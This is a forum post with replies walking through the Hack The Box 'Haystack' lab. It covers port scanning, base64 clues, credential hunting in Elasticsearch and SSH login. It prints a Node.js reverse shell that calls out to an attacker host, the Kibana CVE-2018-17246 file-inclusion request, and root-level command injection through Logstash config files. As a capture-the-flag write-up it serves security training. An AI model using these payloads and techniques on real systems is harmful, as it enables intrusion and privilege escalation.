Hack The Box - Haystack

We start by running nmap, with the following options:

root@flagship:~# nmap -p- -T4 -oN notes -A 10.10.10.115

I always run it with -p-, which will scan all 65536 ports, rather than just the 1000 most common. And in this case, we see a few open ports:

PORT     STATE SERVICE REASON         VERSION                                                                                                                                                                      
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.4 (protocol 2.0)
80/tcp   open  http    syn-ack ttl 63 nginx 1.12.2
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    syn-ack ttl 63 nginx 1.12.2
|_http-favicon: Unknown favicon MD5: 6177BFB75B498E0BB356223ED76FFE43
| http-methods:
|   Supported Methods: HEAD GET DELETE OPTIONS
|_  Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).

On port 80, it’s just a page with an image of a needle in a haystack.

But since this is HTB, it’s worth having a quick look for any steganography. strings doesn’t reveal anything, but xxd does, at the very end of the file:

0002ca80: 8a00 28a2 8a00 28a2 8a00 28a2 8a00 28a2  ..(...(...(...(.
0002ca90: 8a00 28a2 8a00 ffd9 0a62 4745 6759 5764  ..(......bGEgYWd
0002caa0: 3161 6d45 675a 5734 675a 5777 6763 4746  1amEgZW4gZWwgcGF
0002cab0: 7159 5849 675a 584d 6749 6d4e 7359 585a  qYXIgZXMgImNsYXZ
0002cac0: 6c49 673d 3d0a                           lIg==.

That looks like base64, so let us decode that:

root@flagship:~# echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 -d
la aguja en el pajar es “clave”

Spanish for the needle in the page is “key” or perhaps literally, clave .

Since there doesn’t appear to be anything else to do with the image, let’s have a look at port 9200. If we access it, we get the following:

root@flagship:~/htb/jarvis# curl http://10.10.10.115:9200/
{
  "name" : "iQEYHgS",
  "cluster_name" : "elasticsearch",
  "cluster_uuid" : "pjrX7V_gSFmJY-DxP4tCQg",
  "version" : {
    "number" : "6.4.2",
    "build_flavor" : "default",
    "build_type" : "rpm",
    "build_hash" : "04711c2",
    "build_date" : "2018-09-26T13:34:09.098244Z",
    "build_snapshot" : false,
    "lucene_version" : "7.4.0",
    "minimum_wire_compatibility_version" : "5.6.0",
    "minimum_index_compatibility_version" : "5.0.0"
  },
  "tagline" : "You Know, for Search"
}

So we’re dealing with an ElasticSearch instance, version 6.4.2. If you aren’t familiar with it, this is a good starting point: ElasticSearch 101. However, the relevant part here is that URLs are expected to be in the format of http://10.10.10.115:9200/<index>/<type>/<id> , so we can try to find which indices are available with gobuster:

root@flagship:~# gobuster dir -u http://10.10.10.115:9200/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.115:9200/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/09/07 21:21:02 Starting gobuster
===============================================================
/quotes (Status: 200)
/bank (Status: 200)

Knowing that the indices quotes and bank exist, we then need to find types which have indices. Gobuster won’t cut it for this, as we want to look for http://10.10.10.115:9200/quotes/<type>/1 and http://10.10.10.115:9200/bank/<type>/1 , so we turn to wfuzz:

root@flagship:~# wfuzz -u http://10.10.10.115:9200/quotes/FUZZ/1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer                         *
********************************************************
Target: http://10.10.10.115:9200/quotes/FUZZ/1
Total requests: 220560
==================================================================
ID   Response   Lines      Word         Chars          Payload
==================================================================
000826:  C=200      0 L       63 W          462 Ch        "quote"

And then we repeat the same for bank:

root@orbital:~# wfuzz -u http://10.10.10.115:9200/bank/FUZZ/1 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404
********************************************************
* Wfuzz 2.3.4 - The Web Fuzzer                         *
********************************************************
Target: http://10.10.10.115:9200/bank/FUZZ/1
Total requests: 220560
==================================================================
ID   Response   Lines      Word         Chars          Payload
==================================================================
000349:  C=200      0 L        3 W          286 Ch        "account"

Now that we know two types, we just have to identify what valid ids there are. Again, wfuzz can do this by using a range iterator:

root@orbital:~# wfuzz -u http://10.10.10.115:9200/bank/account/FUZZ -z range,1-2000 --hc 404
root@orbital:~# wfuzz -u http://10.10.10.115:9200/quotes/quote/FUZZ -z range,1-2000 --hc 404

This will show us that there are 999 valid ids – which we can then download using our trusty curl for further analysis.

root@flagship:~# curl “http://10.10.10.115:9200/bank/accounts/[1-999]” -o “accounts/#1”
root@flagship:~# curl “http://10.10.10.115:9200/quotes/quote/[1-999]” -o “quotes/#1”

I didn’t find any useful information in the nearly 2000 files when blindly searching for credentials, but using what we’ve got from the image we get the following:

root@flagship:~# grep -r clave *
quotes/45.html:{"_index":“quotes”,"_type":“quote”,"_id":“45”,"_version":1,“found”:true,"_source":{“quote”:“Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg “}}
quotes/111.html:{”_index”:“quotes”,"_type":“quote”,"_id":“111”,"_version":1,“found”:true,"_source":{“quote”:“Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=”}}

With some more base64-looking strings, we decode them as before:

root@flagship:~# echo dXNlcjogc2VjdXJpdHkg | base64 -d
user: security 
root@flagship:~# echo cGFzczogc3BhbmlzaC5pcy5rZXk= | base64 -d
pass: spanish.is.key

With these credentials, we can login via SSH and grab the user flag.

root@flagship:~# ssh [email protected]
[email protected]’s password:
[security@haystack ~]$ ls
user.txt

Now that we have a foothold, the next step is to run Linux Smart Enumeration and see if that gives us anything interesting to go on. Thankfully, since we already have SSH access, we can just copy it over with scp rather anything more elaborate.

From a cursory look at the results from LSE, we can see this server is running an ELK stack (ElasticSearch, Logstash, Kibana), with matching user accounts. Additionally, Logstash is running as root and is a likely escalation point.

It also looks like the following ports can be accessed internally: 5601 (Kibana), 9000 and 9300 (both ElasticSearch). 5601 is particularly interesting as it wasn’t available remotely.

Since we know we’re running ElasticSearch 6.4.2, it’s worth checking if there are any issues we can leverage. Looking for vulnerabilities the very first one seems relevant: CVE-2018-17246 (detailed explanation here).

It looks like we might get an LFI using this, which would then let us gain access to the kibana user. We can get a viable node reverse shell from here:

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "192.168.33.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

We copy this to haystack (in my case, I copied it to /tmp) and call the vulnerable endpoint:

[security@haystack tmp]$ curl 127.0.0.1:5601/api/console/api_server?apis=../../../../../../../../../../tmp/hn1.js  

An on our attacking machine we get a callback:

root@flagship:~/shared.node/htb# nc -lvp 1337
listening on [any] 1337 ...
10.10.10.115: inverse host lookup failed: Unknown host
connect to [10.10.16.40] from (UNKNOWN) [10.10.10.115] 52436
whoami
kibana

And then we upgrade our shell into something a bit more usable:

python -c 'import pty; pty.spawn("/bin/bash")'  
bash-4.2$

We know that logstash runs as root, so that is probably our way in. The normal flow for a simple ELK stack is that data from ElasticSearch gets processed by LogStash and then presented by Kibana, and we can find that step in /etc/logstash/conf.d. The folder is only accessible now that we are logged in as the kibana user. However, although the files can be read, they can’t be modified.

input.conf

input {
         file {
                 path => "/opt/kibana/logstash_*"
                 start_position => "beginning"
                 sincedb_path => "/dev/null"
                 stat_interval => "10 second"
                 type => "execute"
                 mode => "read"
         }
 }

filter.conf

filter {
        if [type] == "execute" {
                grok {
                        match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
                }
        }
}

output.conf

output {
        if [type] == "execute" {
                stdout { codec => json }
                exec {
                        command => "%{comando} &"
                }
        }
}

From reading these files, we can see that it takes input files in the folder /opt/kibana/, with the filename having to start with logstash_. The contents of the file have to be Ejecutar comando : followed by the command we want to execute.

Since we know what we want to get out is the root flag, we can do the following:

bash-4.2$ echo Ejecutar comando : cp /root/root.txt /tmp/root.txt > /tmp/logstash_root
bash-4.2$ echo Ejecutar comando : chmod 777 /tmp/root.txt > logstash_root2

And within ten seconds our commands will get executed:

bash-4.2$ wc -c /tmp/root.txt<br>
wc -c /tmp/root.txt<br>
33 /tmp/root.txt

Hopefully this was useful to someone :slight_smile:

3 Likes

Nice writeup!

Thanks for sharing, very concise :slight_smile:

I’d love more explanation of the root, I struggled with this root and found it from trial and error. Any documentation of logstash itself?

Hey Pry0cc, thanks for the comment.

When I realised ELK was a major stack, I spent some time reading through the documentation of all three components. The https://www.elastic.co/products/logstash landing page provides a high-level overview regarding how the inputs, filters and outputs fit together.

From there I went into the documentation, https://www.elastic.co/guide/en/logstash/current/pipeline.html. I can’t say I went into full detail into how each of the plugins in the .conf files work but I’ve been doing dev for quite a few years so I’ve run into a number of domain specific languages, so I understood the general flow of what was happening here.

Broadly:

input.conf

input {
         file { # So, checking for some files?
                 # Which are in /opt/kibana/ and have a filename starting with 
                 # logstash_*
                 path => "/opt/kibana/logstash_*"
                 # Iterating through all the files in the folder?
                 start_position => "beginning"
                 sincedb_path => "/dev/null" # Dunno!
                 # Stat is a POSIX function (https://linux.die.net/man/2/stat) for 
                 # getting information about a file, so it's probably checking every 
                 # file in the directory every 10 seconds to see if it has changed.
                 stat_interval => "10 second"
                 type => "execute" # And it's going to be executing something?
                 mode => "read"
         }
 }

filter.conf

filter {
        # I guess this is what it is executing! As this is a filter, it means that 
        # all the inputs will come through the filter, and only if they pass the 
        # filter conditions will they get transformed and sent to the output.
        if [type] == "execute" {
                grok {
                        # So, regular expression match test. The message has 
                        # to start with "Ejecutar comando: ",
                        # and then whatever comes after ({GREEDYDATA} gets 
                        # shoved into a variable called "comando".
                        match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
                }
        }
}

output.conf

output {
        if [type] == "execute" {
                stdout { codec => json }
                # Anything that passes the filter gets sent into the exec plugin.
                exec {
                        # Which executes whatever is in the "comando" variable 
                        # as a background task.
                        command => "%{comando} &"
                }
        }
}

Hopefully that’s helpful :slight_smile: Someone who is familiar with Logstash or has spent more time than I going through the documentation can likely point out that some of comments aren’t accurate, but that is the broad shape of what is happening.

2 Likes

This topic was automatically closed after 121 days. New replies are no longer allowed.